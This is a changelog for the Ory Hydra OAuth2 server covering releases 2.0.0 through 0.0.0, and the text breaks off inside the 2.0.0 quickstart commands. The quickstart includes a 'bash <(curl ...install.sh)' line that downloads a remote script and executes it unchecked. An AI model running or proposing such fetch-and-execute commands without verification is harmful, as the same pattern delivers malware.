[Documentation](#documentation-99) - [Unclassified](#unclassified-102) - [0.8.5 (2017-06-01)](#085-2017-06-01) - [Unclassified](#unclassified-103) - [0.8.4 (2017-05-24)](#084-2017-05-24) - [Documentation](#documentation-100) - [Unclassified](#unclassified-104) - [0.8.3 (2017-05-23)](#083-2017-05-23) - [Documentation](#documentation-101) - [Unclassified](#unclassified-105) - [0.8.2 (2017-05-10)](#082-2017-05-10) - [Unclassified](#unclassified-106) - [0.8.1 (2017-05-08)](#081-2017-05-08) - [Continuous Integration](#continuous-integration-17) - [0.8.0 (2017-05-07)](#080-2017-05-07) - [Continuous Integration](#continuous-integration-18) - [Documentation](#documentation-102) - [Unclassified](#unclassified-107) - [0.7.13 (2017-05-03)](#0713-2017-05-03) - [Documentation](#documentation-103) - [Unclassified](#unclassified-108) - [0.7.12 (2017-04-30)](#0712-2017-04-30) - [Unclassified](#unclassified-109) - [0.7.11 (2017-04-28)](#0711-2017-04-28) - [Unclassified](#unclassified-110) - [0.7.10 (2017-04-14)](#0710-2017-04-14) - [Documentation](#documentation-104) - [Unclassified](#unclassified-111) - [0.7.9 (2017-04-02)](#079-2017-04-02) - [Unclassified](#unclassified-112) - [0.7.8 (2017-03-24)](#078-2017-03-24) - [Documentation](#documentation-105) - [Unclassified](#unclassified-113) - [0.7.7 (2017-02-11)](#077-2017-02-11) - [Unclassified](#unclassified-114) - [0.7.6 (2017-02-11)](#076-2017-02-11) - [Unclassified](#unclassified-115) - [0.7.3 (2017-01-22)](#073-2017-01-22) - [Unclassified](#unclassified-116) - [0.7.2 (2017-01-02)](#072-2017-01-02) - [Unclassified](#unclassified-117) - [0.7.1 (2016-12-30)](#071-2016-12-30) - [Unclassified](#unclassified-118) - [0.7.0 (2016-12-30)](#070-2016-12-30) - [Documentation](#documentation-106) - [Unclassified](#unclassified-119) - [0.6.10 (2016-12-26)](#0610-2016-12-26) - [Unclassified](#unclassified-120) - [0.6.9 (2016-12-20)](#069-2016-12-20) - [Documentation](#documentation-107) - [Unclassified](#unclassified-121) - [0.6.8 (2016-12-06)](#068-2016-12-06) - [Unclassified](#unclassified-122) - [0.6.7 (2016-12-04)](#067-2016-12-04) - [Unclassified](#unclassified-123) - [0.6.6 (2016-12-04)](#066-2016-12-04) - [Documentation](#documentation-108) - [Unclassified](#unclassified-124) - [0.6.5 (2016-11-28)](#065-2016-11-28) - [Unclassified](#unclassified-125) - [0.6.4 (2016-11-22)](#064-2016-11-22) - [Unclassified](#unclassified-126) - [0.6.3 (2016-11-17)](#063-2016-11-17) - [Documentation](#documentation-109) - [Unclassified](#unclassified-127) - [0.6.2 (2016-11-05)](#062-2016-11-05) - [Unclassified](#unclassified-128) - [0.6.1 (2016-10-26)](#061-2016-10-26) - [Documentation](#documentation-110) - [Unclassified](#unclassified-129) - [0.6.0 (2016-10-25)](#060-2016-10-25) - [Unclassified](#unclassified-130) - [0.5.8 (2016-10-06)](#058-2016-10-06) - [Unclassified](#unclassified-131) - [0.5.7 (2016-10-04)](#057-2016-10-04) - [Unclassified](#unclassified-132) - [0.5.6 (2016-10-03)](#056-2016-10-03) - [Unclassified](#unclassified-133) - [0.5.5 (2016-09-29)](#055-2016-09-29) - [Unclassified](#unclassified-134) - [0.5.4 (2016-09-29)](#054-2016-09-29) - [Unclassified](#unclassified-135) - [0.5.3 (2016-09-29)](#053-2016-09-29) - [Documentation](#documentation-111) - [Unclassified](#unclassified-136) - [0.5.2 (2016-09-23)](#052-2016-09-23) - [Unclassified](#unclassified-137) - [0.5.1 (2016-09-22)](#051-2016-09-22) - [Documentation](#documentation-112) - [Unclassified](#unclassified-138) - [0.4.3 (2016-09-03)](#043-2016-09-03) - [Unclassified](#unclassified-139) - [0.4.2-alpha.3 (2016-09-02)](#042-alpha3-2016-09-02) - [Unclassified](#unclassified-140) - [0.4.2-alpha.2 (2016-09-01)](#042-alpha2-2016-09-01) - [Unclassified](#unclassified-141) - [0.4.2-alpha.1 (2016-09-01)](#042-alpha1-2016-09-01) - [Unclassified](#unclassified-142) - [0.4.2-alpha (2016-09-01)](#042-alpha-2016-09-01) - [Documentation](#documentation-113) - [Unclassified](#unclassified-143) - [0.4.1 (2016-08-18)](#041-2016-08-18) - [Unclassified](#unclassified-144) - [0.3.1 (2016-08-17)](#031-2016-08-17) - [Documentation](#documentation-114) - [Unclassified](#unclassified-145) - [0.3.0 (2016-08-09)](#030-2016-08-09) - [Unclassified](#unclassified-146) - [0.2.0 (2016-08-09)](#020-2016-08-09) - [Documentation](#documentation-115) - [Unclassified](#unclassified-147) <!-- END doctoc generated TOC please keep comment here to allow auto update --> # [0.0.0](https://github.com/ory/hydra/compare/v2.2.0-pre.0...v0.0.0) (2023-08-16) ### Bug Fixes * Add exceptions for internal IP addresses ([#3608](https://github.com/ory/hydra/issues/3608)) ([1f1121c](https://github.com/ory/hydra/commit/1f1121caef6dd2c99c2ab551bfeb82e3cd2d8cf2)) * Add kid to verifiable credential header ([#3606](https://github.com/ory/hydra/issues/3606)) ([9f1c8d1](https://github.com/ory/hydra/commit/9f1c8d192004e0e7d7f5c3383d4dd1df222dec81)) * Deflake ttl test ([6741a49](https://github.com/ory/hydra/commit/6741a49f7b4d55a270f3eb968921894b1e5f2989)) * Enable CORS with hot-reloaded origins ([#3601](https://github.com/ory/hydra/issues/3601)) ([6f592fc](https://github.com/ory/hydra/commit/6f592fc8425887fb403516cbb03838b63f85f87e)) * Only query access tokens by hashed signature ([a21e945](https://github.com/ory/hydra/commit/a21e94519416cc7801995b0804696348b18fa844)) * Racy random string generation ([#3555](https://github.com/ory/hydra/issues/3555)) ([1b26c4c](https://github.com/ory/hydra/commit/1b26c4cb96400b333fe214d2da892fc045bbc69f)) * Reject invalid JWKS in client configuration / dependency cleanup and bump ([#3603](https://github.com/ory/hydra/issues/3603)) ([1d73d83](https://github.com/ory/hydra/commit/1d73d83eb03e4ceef6edb4bd0738959007053118)) * Restore ability to override auth and token urls for exemplary app ([#3590](https://github.com/ory/hydra/issues/3590)) ([dfb129a](https://github.com/ory/hydra/commit/dfb129a5b7c8ae01e1c490fce1a127697abc7bee)) * Return proper error when the grant request cannot be parsed ([#3558](https://github.com/ory/hydra/issues/3558)) ([26f2d34](https://github.com/ory/hydra/commit/26f2d34459f55444e880e6e27e081c002d630246)) * Use correct tracer in middleware ([#3567](https://github.com/ory/hydra/issues/3567)) ([807cbd2](https://github.com/ory/hydra/commit/807cbd209af376b9b2d18c278cc927d1c43e6865)) ### Features * Add `hydra migrate status` subcommand ([#3579](https://github.com/ory/hydra/issues/3579)) ([749eb8d](https://github.com/ory/hydra/commit/749eb8db40fb8b2d6333d917fac6c25b6e5574ef)) * Add more resolution to events and collect client metrics ([#3568](https://github.com/ory/hydra/issues/3568)) ([466e66b](https://github.com/ory/hydra/commit/466e66bd1df7bf589c5a74ad5be399b1eaa80d9b)) * Add state override ([b8b9154](https://github.com/ory/hydra/commit/b8b9154077963492dad3ed0350a4d93d09a95602)) * Add support for OIDC VC ([#3575](https://github.com/ory/hydra/issues/3575)) ([219a7c0](https://github.com/ory/hydra/commit/219a7c068fa0ec423923f157553f430c80934c45)): This adds initial support for issuing verifiable credentials as specified in https://openid.net/specs/openid-connect-userinfo-vc-1_0.html. Because the spec is still in draft, public identifiers are suffixed with `draft_00`. * Allow additional SQL migrations ([#3587](https://github.com/ory/hydra/issues/3587)) ([8900cbb](https://github.com/ory/hydra/commit/8900cbb770d6f39a5c3322fce488675ca6d0138a)) * Allow Go migrations ([#3602](https://github.com/ory/hydra/issues/3602)) ([8eed306](https://github.com/ory/hydra/commit/8eed306800fa330a1cda752dbb11ddf09faf25ad)) * Allow to disable claim mirroring ([#3563](https://github.com/ory/hydra/issues/3563)) ([c72a316](https://github.com/ory/hydra/commit/c72a31641ee79f090a2ac1b64a276be58312b2ee)): This PR introduces another config option called `oauth2:mirror_top_level_claims` which may be used to disable the mirroring of custom claims into the `ext` claim of the jwt. This new config option is an opt-in. If unused the behavior remains as-is to ensure backwards compatibility. Example: ```yaml oauth2: allowed_top_level_claims: - test_claim mirror_top_level_claims: false # -> this will prevent test_claim to be mirrored within ext ``` Closes https://github.com/ory/hydra/issues/3348 * Bump fosite and add some more tracing ([0b56f53](https://github.com/ory/hydra/commit/0b56f53a491e165f68a53f013989328ce86928ba)) * **cmd:** Add route that redirects to the auth code url ([4db6416](https://github.com/ory/hydra/commit/4db64161699e4301c003b2787baecae22c912c17)) * Parallel generation of JSON web key set ([#3561](https://github.com/ory/hydra/issues/3561)) ([5bd9002](https://github.com/ory/hydra/commit/5bd9002db7baa2fe2c2529fee38825d66a68991f)) * Propagate logout to identity provider ([#3596](https://github.com/ory/hydra/issues/3596)) ([c004fee](https://github.com/ory/hydra/commit/c004fee69497a5a0f8af5ccb6a2ab8d104fd9249)): * feat: propagate logout to identity provider This commit improves the integration between Hydra and Kratos when logging out the user. This adds a new configuration key for configuring a Kratos admin URL. Additionally, Kratos can send a session ID when accepting a login request. If a session ID was specified and a Kratos admin URL was configured, Hydra will disable the corresponding Kratos session through the admin API if a frontchannel or backchannel logout was triggered. * fix: add special case for MySQL * chore: update sdk * chore: consistent naming * fix: cleanup persister * Support different jwt scope claim strategies ([#3531](https://github.com/ory/hydra/issues/3531)) ([45da11e](https://github.com/ory/hydra/commit/45da11e4fb4f0a2f939f11682c095b8dbfcddb78)) # [2.2.0-pre.0](https://github.com/ory/hydra/compare/v2.2.0-rc.2...v2.2.0-pre.0) (2023-06-22) Test release ### Code Generation * Pin v2.2.0-pre.0 release commit ([116c1e8](https://github.com/ory/hydra/commit/116c1e89c423eebc333e2a9ff3e582090c5798a5)) ### Features * Add distroless docker image ([#3539](https://github.com/ory/hydra/issues/3539)) ([c1e1a56](https://github.com/ory/hydra/commit/c1e1a569621d88365dceee7372ca49ecd119f939)) * Add event tracing ([#3546](https://github.com/ory/hydra/issues/3546)) ([44ed0ac](https://github.com/ory/hydra/commit/44ed0ac89558bd83513e5240e8c937c908514d76)) # [2.2.0-rc.2](https://github.com/ory/hydra/compare/v2.2.0-rc.1...v2.2.0-rc.2) (2023-06-13) This release optimizes the performance of authorization code grant flows by minimizing the number of database queries. We acheive this by storing the flow in an AEAD-encoded cookie and AEAD-encoded request parameters for the authentication and consent screens. BREAKING CHANGE: * The client that is used as part of the authorization grant flow is stored in the AEAD-encoding. Therefore, running flows will not observe updates to the client after they were started. * Because the login and consent challenge values now include the AEAD-encoded flow, their size increased to around 1kB for a flow without any metadata (and increases linearly with the amount of metadata). Please adjust your ingress / gateway accordingly. ### Bug Fixes * Version clash in apk install ([24ebdd3](https://github.com/ory/hydra/commit/24ebdd3feb302f655000a243dad032b04cf25afc)) ### Code Generation * Pin v2.2.0-rc.2 release commit ([b183040](https://github.com/ory/hydra/commit/b183040a0d6c33abd4db01eb21a1bb0e141ea9ec)) ### Features * Hot-reload Oauth2 CORS settings ([#3537](https://github.com/ory/hydra/issues/3537)) ([a8ecf80](https://github.com/ory/hydra/commit/a8ecf807b2c6bfa6cc2d8b474f527a2fda12daef)) * Sqa metrics v2 ([#3533](https://github.com/ory/hydra/issues/3533)) ([3ec683d](https://github.com/ory/hydra/commit/3ec683d7cf582443f29bd93c4c88392b3ce692a4)) # [2.2.0-rc.1](https://github.com/ory/hydra/compare/v2.1.2...v2.2.0-rc.1) (2023-06-12) This release optimizes the performance of authorization code grant flows by minimizing the number of database queries. We acheive this by storing the flow in an AEAD-encoded cookie and AEAD-encoded request parameters for the authentication and consent screens. BREAKING CHANGE: * The client that is used as part of the authorization grant flow is stored in the AEAD-encoding. Therefore, running flows will not observe updates to the client after they were started. * Because the login and consent challenge values now include the AEAD-encoded flow, their size increased to around 1kB for a flow without any metadata (and increases linearly with the amount of metadata). Please adjust your ingress / gateway accordingly. ## Breaking Changes * The client that is used as part of the authorization grant flow is stored in the AEAD-encoding. Therefore, running flows will not observe updates to the client after they were started. * Because the login and consent challenge values now include the AEAD-encoded flow, their size increased to around 1kB for a flow without any metadata (and increases linearly with the amount of metadata). Please adjust your ingress / gateway accordingly. ### Bug Fixes * Cockroach migration error when hydra upgrades v2 ([#3536](https://github.com/ory/hydra/issues/3536)) ([be6e005](https://github.com/ory/hydra/commit/be6e005e8eb245d3844eba133d1f78f9e21b0d0d)): Referring to issue https://github.com/ory/hydra/issues/3535 this PR is intended to fix the Cockroach migration bug when upgrading Hydra from v1.11.10 to v2. ### Code Generation * Pin v2.2.0-rc.1 release commit ([262ebbb](https://github.com/ory/hydra/commit/262ebbb5a7a585a26117a8c0fba6c257fc97b7b4)) ### Features * Add metrics to disabled access log ([#3526](https://github.com/ory/hydra/issues/3526)) ([fc7af90](https://github.com/ory/hydra/commit/fc7af904407b27d1b5c0e5e62f82fd81ab81ecb2)) * Stateless authorization code flow ([#3515](https://github.com/ory/hydra/issues/3515)) ([f29fe3a](https://github.com/ory/hydra/commit/f29fe3af97fb72061f2d6d7a2fc454cea5e870e9)): This patch optimizes the performance of authorization code grant flows by minimizing the number of database queries. We acheive this by storing the flow in an AEAD-encoded cookie and AEAD-encoded request parameters for the authentication and consent screens. ### Unclassified * Revert "fix: cockroach migration error when hydra upgrades v2 (#3536)" (#3542) ([4d8622f](https://github.com/ory/hydra/commit/4d8622fedcd54308c2e3a402a54f9f6eb751c9ce)), closes [#3536](https://github.com/ory/hydra/issues/3536) [#3542](https://github.com/ory/hydra/issues/3542): This reverts commit be6e005e8eb245d3844eba133d1f78f9e21b0d0d. # [2.1.2](https://github.com/ory/hydra/compare/v2.1.1...v2.1.2) (2023-05-24) We are excited to announce the next Ory Hydra release! This release includes the following important changes: - Fixed a memory leak in the OpenTelemetry implementation, improving overall memory usage and stability. - Added a missing index for faster janitor cleanup, resulting in quicker and more efficient cleanup operations. - Fixed a bug related to SameSite in dev mode, ensuring proper functionality and consistency in handling SameSite attributes during development. We appreciate your continuous support and feedback. Please feel free to reach out to us with any further suggestions or issues. ### Bug Fixes * Add index on requested_at for refresh tokens and use it in janitor ([#3516](https://github.com/ory/hydra/issues/3516)) ([5b8e712](https://github.com/ory/hydra/commit/5b8e7121c49a0dfed6312b599a617e692f324fdb)) * Disable health check request logs ([#3496](https://github.com/ory/hydra/issues/3496)) ([eddf7f3](https://github.com/ory/hydra/commit/eddf7f3867e8977e58d09681c583e99bca503448)) * Do not use prepared SQL statements and bump deps ([#3506](https://github.com/ory/hydra/issues/3506)) ([31b9e66](https://github.com/ory/hydra/commit/31b9e663b183f8244d86ddd1ae9f55267e190a69)) * Proper SameSite=None in dev mode ([#3502](https://github.com/ory/hydra/issues/3502)) ([5751fae](https://github.com/ory/hydra/commit/5751fae7b37a2692ad484c785356e702928f1b9b)) * Sqa config values unified across projects ([#3490](https://github.com/ory/hydra/issues/3490)) ([1b1899e](https://github.com/ory/hydra/commit/1b1899e9472fecfbdeb07f5e99c27713b82478e5)) * **sql:** Incorrect JWK query ([#3499](https://github.com/ory/hydra/issues/3499)) ([13ce0d6](https://github.com/ory/hydra/commit/13ce0d6f39febed83c6b1e10b45b0be2ed75a415)): `persister_grant_jwk` had an OR statement without bracket leading to not using the last part of the query. ### Code Generation * Pin v2.1.2 release commit ([d94ed6e](https://github.com/ory/hydra/commit/d94ed6e4486ee270d8903e6e9376134931a742d9)) ### Documentation * Incorrect json output format example ([#3497](https://github.com/ory/hydra/issues/3497)) ([b71a36b](https://github.com/ory/hydra/commit/b71a36bf5c063a719a9e31ff348af594d87dc794)) ### Features * Add --skip-consent flag to hydra cli ([#3492](https://github.com/ory/hydra/issues/3492)) ([083d518](https://github.com/ory/hydra/commit/083d518cf51240c8977f0d9226897a9886cfbb50)) # [2.1.1](https://github.com/ory/hydra/compare/v2.1.0...v2.1.1) (2023-04-11) Resolve a regression in looking up access and refresh tokens. ### Bug Fixes * Double-hashed access token signatures ([#3486](https://github.com/ory/hydra/issues/3486)) ([8720b25](https://github.com/ory/hydra/commit/8720b250b92b49c651d87f6e727beda31c227dfe)), closes [#3485](https://github.com/ory/hydra/issues/3485) ### Code Generation * Pin v2.1.1 release commit ([6efae7c](https://github.com/ory/hydra/commit/6efae7cfa7430cecaa145e2e71958699a2394115)) # [2.1.0](https://github.com/ory/hydra/compare/v2.1.0-pre.2...v2.1.0) (2023-04-06) We are excited to share this year's Q1 release of Ory Hydra: v2.1.0! Highlights: * Support for Datadog tracing (#3431). * Ability to skip consent for trusted clients (#3451). * Setting access token type in the OAuth2 Client is now possible (#3446). * Revoke login sessions by SessionID (#3450). * Session lifespan extended on session refresh (#3464). * Token request hooks added for all grant types (#3427). * Reduced SQL tracing noise (#3481). Don't want to run the upgrade yourself? Switch to [Ory Network](https://console.ory.sh/registration?flow=d1ae4761-3493-4dd9-b0ce-3200916b38aa)! ### Bug Fixes * Reduce SQL tracing noise ([#3481](https://github.com/ory/hydra/issues/3481)) ([6e1f545](https://github.com/ory/hydra/commit/6e1f5454be3ff00b0016e3d72b121701ccd23625)) ### Code Generation * Pin v2.1.0 release commit ([3649832](https://github.com/ory/hydra/commit/3649832421bff09b5e4c172b37dc61027dac0869)) # [2.1.0-pre.2](https://github.com/ory/hydra/compare/v2.1.0-pre.1...v2.1.0-pre.2) (2023-04-03) autogen: pin v2.1.0-pre.2 release commit ### Code Generation * Pin v2.1.0-pre.2 release commit ([3b1d87e](https://github.com/ory/hydra/commit/3b1d87e3a16dd4b4b55725c5c78eb062fefc8f2f)) # [2.1.0-pre.1](https://github.com/ory/hydra/compare/v2.1.0-pre.0...v2.1.0-pre.1) (2023-04-03) autogen: pin v2.1.0-pre.1 release commit ### Code Generation * Pin v2.1.0-pre.1 release commit ([2289e6b](https://github.com/ory/hydra/commit/2289e6b8159becde96b31fc99aa2a218631d70ea)) # [2.1.0-pre.0](https://github.com/ory/hydra/compare/v2.0.3...v2.1.0-pre.0) (2023-03-31) autogen: pin v2.1.0-pre.0 release commit ### Bug Fixes * Append /v2 to module path ([f56e5fa](https://github.com/ory/hydra/commit/f56e5fad74632c1f0c5f3768a0de8465f351a533)) * Broken OIDC compliance images ([#3454](https://github.com/ory/hydra/issues/3454)) ([50bc1b4](https://github.com/ory/hydra/commit/50bc1b4267045a19845816af295b638179be9c2c)) * Clean up unused code ([488f930](https://github.com/ory/hydra/commit/488f930e4f2c39386b1c1ff68dd60d1aaf968cb9)) * Ensure RSA key length fullfills 4096bit requirement ([#2905](https://github.com/ory/hydra/issues/2905)) ([#3402](https://github.com/ory/hydra/issues/3402)) ([a663927](https://github.com/ory/hydra/commit/a6639277fcdee7ee2101bc6e40ab7facd7265d54)) * Migration typo ([#3453](https://github.com/ory/hydra/issues/3453)) ([ed27c10](https://github.com/ory/hydra/commit/ed27c1016fe8f8fea5a99a0e2203552c3bdc0ab3)) * No longer use separate public and private keys in HSM key manager ([#3401](https://github.com/ory/hydra/issues/3401)) ([375bd5a](https://github.com/ory/hydra/commit/375bd5a69c0ece3aea0714ab7374ff8d09672c10)) * Pin nancy ([0156556](https://github.com/ory/hydra/commit/0156556bb35278fcbc416b02504bc04511c468a7)) * Release issue ([115da11](https://github.com/ory/hydra/commit/115da11930ed3723c53a1334eca47fd5ab6160ac)) * Support allowed_cors_origins with client_secret_post ([#3457](https://github.com/ory/hydra/issues/3457)) ([ffe4943](https://github.com/ory/hydra/commit/ffe49430e31eee98ace65e829be5db3188c8fd4b)), closes [#3456](https://github.com/ory/hydra/issues/3456) * Use correct default value ([#3469](https://github.com/ory/hydra/issues/3469)) ([2796d53](https://github.com/ory/hydra/commit/2796d53798c3a2fa36738fe40d287f93480f08d7)), closes [#3420](https://github.com/ory/hydra/issues/3420) ### Code Generation * Pin v2.1.0-pre.0 release commit ([61f342c](https://github.com/ory/hydra/commit/61f342c2d9f266774885cf1242db796cb671ecad)) ### Documentation * Update security email ([#3465](https://github.com/ory/hydra/issues/3465)) ([751c8e8](https://github.com/ory/hydra/commit/751c8e8a2f7393c52cd395e899b8852595f8682a)) ### Features * Add ability to revoke login sessions by SessionID ([#3450](https://github.com/ory/hydra/issues/3450)) ([b42482b](https://github.com/ory/hydra/commit/b42482b7260d4e1771d01fc719e8216f5961ce65)), closes [#3448](https://github.com/ory/hydra/issues/3448): API `revokeOAuth2LoginSessions` can now revoke a single session by a SessionID (`sid` claim in the id_token) and execute an OpenID Connect Back-channel logout. * Add session cookie path configuration ([#3475](https://github.com/ory/hydra/issues/3475)) ([af9fa81](https://github.com/ory/hydra/commit/af9fa81ac0b3a877fe1a67505b6ae54d4ef58c00)), closes [#3473](https://github.com/ory/hydra/issues/3473) * Add token request hooks for all grant types ([#3427](https://github.com/ory/hydra/issues/3427)) ([9bdf225](https://github.com/ory/hydra/commit/9bdf225d8f04c0b16dcdc4bbcc2d7bebc7534b4d)), closes [#3244](https://github.com/ory/hydra/issues/3244): Added a generic token hook that is called for all grant types and includes `payload` with a single allowed value - `assertion` to cover the `jwt-bearer` grant type customization. The existing `refresh token hook` is left unchanged and is considered to be deprecated in favor of the new hook logic. The `refresh token hook` will at some point be removed. * Allow setting access token type in client ([#3446](https://github.com/ory/hydra/issues/3446)) ([a6beed4](https://github.com/ory/hydra/commit/a6beed4659febd0917379d6da1e51d8ef75bc859)): The access token type (`jwt` or `opaque`) can now be set in the client configuration. The value set here will overwrite the global value for all flows concerning that client. * Allow skipping consent for trusted clients ([#3451](https://github.com/ory/hydra/issues/3451)) ([4f65365](https://github.com/ory/hydra/commit/4f65365f14ea28f979ebab7eb9c3396cbb25d619)): This adds a new boolean parameter `skip_consent` to the admin APIs of the OAuth clients. This parameter will be forwarded to the consent app as `client.skip_consent`. It is up to the consent app to act on this parameter, but the canonical implementation accepts the consent on the user's behalf, similar to when `skip` is set. * Extend session lifespan on session refresh ([#3464](https://github.com/ory/hydra/issues/3464)) ([7511436](https://github.com/ory/hydra/commit/751143644dbc842c5928b1961d2c04d55b76b06b)), closes [#1690](https://github.com/ory/hydra/issues/1690) [#1557](https://github.com/ory/hydra/issues/1557) [#2246](https://github.com/ory/hydra/issues/2246) [#2848](https://github.com/ory/hydra/issues/2848): It is now possible to extend session lifespans when accepting login challenges. * Render complete config schema during CI ([#3433](https://github.com/ory/hydra/issues/3433)) ([ae3e781](https://github.com/ory/hydra/commit/ae3e7811ae2ba031fc4f1569a889d8b4ba0c96fd)): * chore: bump ory/x * chore: script to render the complete config * Support datadog tracing ([#3431](https://github.com/ory/hydra/issues/3431)) ([3ea014f](https://github.com/ory/hydra/commit/3ea014f98f72b1456909838e8f7c40ceade7b2f6)) # [2.0.3](https://github.com/ory/hydra/compare/v2.0.2...v2.0.3) (2022-12-08) Bugfixes for migration and pagination regressions and a new endpoint. ### Bug Fixes * Add `client_id` and `client_secret` to `revokeOAuth2Token` ([#3373](https://github.com/ory/hydra/issues/3373)) ([93bac07](https://github.com/ory/hydra/commit/93bac074b3f7bd347c329377bf8c14aed7f43c00)) * Docker build ([48217bd](https://github.com/ory/hydra/commit/48217bd203af9467eae570b2c47c777a6c1e929b)) * Introspect command CLI example ([#3353](https://github.com/ory/hydra/issues/3353)) ([4ee4456](https://github.com/ory/hydra/commit/4ee4456d884ef6925a74c26768537e9a1ca8a9a6)) * Invalidate tokens with inconsistent state ([#3385](https://github.com/ory/hydra/issues/3385)) ([542ea77](https://github.com/ory/hydra/commit/542ea771c9740a1ebf5bc0006cb59e9eaff688d2)), closes [#3346](https://github.com/ory/hydra/issues/3346): This patch includes SQL migrations targeting environments which have not yet migrated to Ory Hydra 2.0. It removes inconsistent records which resolves issues during the migrations process. Please be aware that some users might be affected by this change. They might need to re-authorize certain apps. However, most active records should not be affected by this. Installations already on Ory Hydra 2.0 will not be affected by this change. * No longer auto-generate system secret ([c5fe043](https://github.com/ory/hydra/commit/c5fe0433be88dc3cbcd09b8c85c3a90819109681)): This patch changes Ory Hydra's behavior to no longer auto-generate a temporary secret when no global secret was set. The APIs now return an error instead. See https://github.com/ory/network/issues/185 * Prevent multiple redirections to post logout url ([#3366](https://github.com/ory/hydra/issues/3366)) ([50666b9](https://github.com/ory/hydra/commit/50666b96ef28a019f5dfd9758f50c0023ad4ae05)), closes [#3342](https://github.com/ory/hydra/issues/3342) * Strip `public` from schema ([#3374](https://github.com/ory/hydra/issues/3374)) ([3831b44](https://github.com/ory/hydra/commit/3831b4482a525cf67b519064bfefd45fe9f3cbd3)), closes [#3367](https://github.com/ory/hydra/issues/3367) * Token pagination ([#3384](https://github.com/ory/hydra/issues/3384)) ([e8d8de9](https://github.com/ory/hydra/commit/e8d8de9072fda61b6d651107005d12f7bac0cba7)), closes [#3362](https://github.com/ory/hydra/issues/3362) ### Code Generation * Pin v2.0.3 release commit ([16831c5](https://github.com/ory/hydra/commit/16831c55c41e64dd73637e8e2ca8f22202fc7d87)) ### Features * List consent sessions by session id ([#2853](https://github.com/ory/hydra/issues/2853)) ([d275ad6](https://github.com/ory/hydra/commit/d275ad66a4e3cb9494eeae7756acf33a76c37892)) # [2.0.2](https://github.com/ory/hydra/compare/v2.0.1...v2.0.2) (2022-11-10) This release resolves bugs and SDK publishing issues. ### Bug Fixes * Add v2 suffix ([#3340](https://github.com/ory/hydra/issues/3340)) ([c54b9db](https://github.com/ory/hydra/commit/c54b9dbf9acf0cd066969b6c729605f1e52e943a)) * Correct migration file name ([01f80a8](https://github.com/ory/hydra/commit/01f80a850112ca4a30330eeaa8eca35af4a91467)) * Incorrect consent removal on authentication revokation ([ccf2388](https://github.com/ory/hydra/commit/ccf238863d381227a04229f5f4eb8c11bb8153a9)): This patch resolves a regression where, in a certain condition, an accepted consent could be incorrectly deleted when the related authentication session was removed. * Incorrect jwk import order ([#3344](https://github.com/ory/hydra/issues/3344)) ([729102f](https://github.com/ory/hydra/commit/729102ff0d87051f219cf88a1296ea3c8effc530)), closes [#3343](https://github.com/ory/hydra/issues/3343) * Isolate transactions for crdb ([f22046f](https://github.com/ory/hydra/commit/f22046fcee445dbc0b8c8bc49a9eb053ed485dab)) * Scope type should be string instead of int ([#3337](https://github.com/ory/hydra/issues/3337)) ([f59f1c6](https://github.com/ory/hydra/commit/f59f1c68346f8083e3d4e1d47117e014e644c376)): Closes https://github.com/ory/sdk/pull/223 ### Code Generation * Pin v2.0.2 release commit ([ce96826](https://github.com/ory/hydra/commit/ce968261a2043469860c6238701631c456268aba)) ### Documentation * Add refresh token grant type ([c752125](https://github.com/ory/hydra/commit/c752125315e1450c10d7604610d974a60e7f556a)) * Fix typo ([dcfd11f](https://github.com/ory/hydra/commit/dcfd11f026469347a5ae941ebd1aa6f127e65143)) * Standardize license headers ([#3216](https://github.com/ory/hydra/issues/3216)) ([d768cf6](https://github.com/ory/hydra/commit/d768cf6580b3410f7d0b3b9420760ce0818a5fe2)) * Update README link ([6184b6a](https://github.com/ory/hydra/commit/6184b6a0ad028ecf90bb1212a7b1429fdc798a1b)) ### Features * Enable simultaneous auth flows by creating client related csrf co… ([#3059](https://github.com/ory/hydra/issues/3059)) ([16bd568](https://github.com/ory/hydra/commit/16bd568fa2ae99db87603e3808b82ca1051b1726)), closes [#3019](https://github.com/ory/hydra/issues/3019) ### Tests * Fix flaky test ([c417be1](https://github.com/ory/hydra/commit/c417be1e181f602a69f611a68c331be56f88937c)) * Resolve time race ([643e88c](https://github.com/ory/hydra/commit/643e88c3673da923a2c49157c5513d78c19777e8)) # [2.0.1](https://github.com/ory/hydra/compare/v2.0.0...v2.0.1) (2022-10-27) Resolves an issues with post-release steps and adds the introspect command to the Ory Hydra CLI. ### Bug Fixes * Add missing introspect command ([c43aba3](https://github.com/ory/hydra/commit/c43aba3ea4394d51eef16cfdf3bc4ca848989f16)) * Bump quickstart images to 2.0.0 ([8c763ad](https://github.com/ory/hydra/commit/8c763ad8b170bca1a7ef29bfa3f09d88cbbdae4c)) * Post-release steps with yq ([b6300e3](https://github.com/ory/hydra/commit/b6300e34af208e49ad0a5a5a230c85b03a2cb58d)) ### Code Generation * Pin v2.0.1 release commit ([403223c](https://github.com/ory/hydra/commit/403223cc50bc0722102be96ff5631709f2b4e9f0)) ### Documentation * Update README ([#3323](https://github.com/ory/hydra/issues/3323)) ([c48e481](https://github.com/ory/hydra/commit/c48e4811c571feb33a0a524ef995bc3d24101b75)) # [2.0.0](https://github.com/ory/hydra/compare/v1.11.10...v2.0.0) (2022-10-27) This milestone release impacts most of Ory’s installed base. While we are thrilled to unveil Ory Hydra 2.0, we would strongly suggest reading this document carefully and to the end. Open Source software is not easy. Besides the community version Ory Hydra 2.0, Ory now provides the Ory OAuth2 & OpenID service on the [Ory Network](https://www.ory.sh) making this release a major event for Ory and the entire Ory Community. Ory Hydra 2.0 is available now. Install the Ory CLI for the best developer experience. ```shell bash <(curl https://raw.githubusercontent.com/ory/meta/master/install.sh) -b . ory sudo mv ./ory /usr/local/bin/ brew install ory/tap/cli ``` create a new project (you may also use [Docker](https://www.ory.sh/docs/hydra/5min-tutorial)) ``` ory create project --name "Ory Hydra 2.0 Example" project_id="{set to the id from output}" ``` and follow the quick & easy steps below. Create an OAuth 2.0 Client, and run the OAuth 2.0 Client Credentials flow: ```shell ory create oauth2-client --project $project_id \ --name "Client Credentials Demo" \ --grant-type client_credentials client_id="{set to client id from output}" client_secret="{set to client secret from output}" ory perform client-credentials --client-id=$client_id --client-secret=$client_secret --project $project_id access_token="{set to access token from output}" ory introspect token $access_token --project $project_id ``` Try out the OAuth 2.0 Authorize Code grant right away! By accepting permissions `openid` and `offline_access` at the consent screen, Ory refreshes and OpenID Connect ID token, ```shell ory create oauth2-client --project $project_id \ --name "Authorize Code with OpenID Connect Demo" \ --grant-type authorization_code \ --response-type code \ --redirect-uri ttp://127.0.0.1:4446/callback code_client_id="{set to client id from output}" code_client_secret="{set to client secret from output}" ory perform authorization-code \ --project $project_id \ --client-id $code_client_id \ --client-secret $code_client_secret 